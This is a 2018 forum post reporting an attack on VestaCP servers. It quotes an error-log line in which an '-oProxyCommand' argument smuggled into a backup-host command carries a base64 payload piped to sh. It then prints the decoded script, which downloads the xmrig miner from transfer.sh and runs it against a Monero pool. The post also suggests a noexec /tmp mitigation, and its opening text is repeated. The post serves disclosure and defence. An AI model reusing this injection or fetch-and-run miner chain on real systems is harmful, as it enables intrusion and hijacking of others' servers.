[CLOSED] [Urgent!] Critical Security issue in VestaCP
Posted: Sat Jun 23, 2018 11:22 am
Hi,
We have discovered what seems a security issue in VestaCP. This is what we have seen until now:
Attackers upload a file in /tmp for mining: /tmp/xmrig
We have seen this in vesta error log:
This is what this does:
We think this can be mitigated by mounting /tmp with noexec by doing this:
tmpfs /tmp tmpfs rw,nodev,nosuid,noexec 0 0
in LXC container.
We think this is important and developers should have a look asap!
We have discovered what seems a security issue in VestaCP. This is what we have seen until now:
Attackers upload a file in /tmp for mining: /tmp/xmrig
We have seen this in vesta error log:
Code: Select all
2018-06-23 01:01:40 v-add-backup-host 'sftp' 'xx' '"-oProxyCommand=echo Y2QgL3RtcDtwa2lsbCB4bXItc3Rhaztwa2lsbCB4bXJpZztybSAtZiB4bXJpZyB4bXItc3RhayBjcHUudHh0IHBvb2xzLnR
4dCBjb25maWcudHh0O3dnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8geG1yaWcgaHR0cHM6Ly90cmFuc2Zlci5zaC9leXo0ei94bXJpZyYmY2htb2QgK3ggeG1yaWcmJi4veG1yaWcgLS1hbGdvPWNyeXB0b25pZ2h
0IC0tdXJsPXBvb2wubWluZXhtci5jb206ODAgLS11c2VyPTQyeTFRRkJEU1ZtWFpidlpaOTVDTnBQb01kZExTNGRSUGRtaDlXZ0NSM3ZFNUQxYjJYcUdTVjVLb0JIdVBGU3VBalM3WXI3dHA0OGY5QU1WTFh1Z0R1VU1GbXA
2dWdkIC0tdGhyZWFkPSQoZ3JlcCBwcm9jZXNzb3IgL3Byb2MvY3B1aW5mb3x3YyAtbCkgLS1kb25hdGUtbGV2ZWw9MSAtLWJhY2tncm91bmQgPC9kZXYvbnVsbCAyPiYxID4vZGV2L251bGwK|base64 -d|sh" x' '****
**' [Error 15]
Code: Select all
cd /tmp;pkill xmr-stak;pkill xmrig;rm -f xmrig xmr-stak cpu.txt pools.txt config.txt;wget --no-check-certificate -qO xmrig https://transfer.sh/rysmn/xmrig&&chmod +x xmrig&&./xmrig --algo=cryptonight --url=pool.minexmr.com:80 --user=42y1QFBDSVmXZbvZZ95CNpPoMddLS4dRPdmh9WgCR3vE5D1b2XqGSV5KoBHuPFSuAjS7Yr7tp48f9AMVLXugDuUMFmp6ugd --thread=$(grep processor /proc/cpuinfo|wc -l) --donate-level=1 --background </dev/null 2>&1 >/dev/null
tmpfs /tmp tmpfs rw,nodev,nosuid,noexec 0 0
in LXC container.
We think this is important and developers should have a look asap!